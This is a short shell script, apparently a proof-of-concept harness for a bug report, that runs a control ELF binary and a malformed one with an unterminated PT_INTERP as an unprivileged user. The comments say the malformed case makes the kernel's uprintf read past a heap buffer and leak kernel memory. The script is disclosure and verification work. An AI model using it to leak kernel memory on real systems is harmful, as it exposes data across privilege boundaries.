#!/bin/sh
# DF-2718 run: as unprivileged user, under a pty (so uprintf reaches us),
# (a) control: NUL-terminated PT_INTERP  -> uprintf prints just the path
# (b) poc:     unterminated PT_INTERP    -> uprintf %s walks past kmalloc(1024)
id
echo '--- control (terminated) ---'
/usr/bin/script -q /tmp/ctl.log /tmp/poc_term
echo "exit=$?"
echo '--- poc (unterminated) ---'
/usr/bin/script -q /tmp/poc.log /tmp/poc_unterm
echo "exit=$?"
echo '--- poc again after heap churn ---'
/bin/ls /usr/bin > /dev/null 2>&1; /bin/ls /usr/sbin > /dev/null 2>&1
/usr/bin/script -q /tmp/poc2.log /tmp/poc_unterm
echo "exit=$?"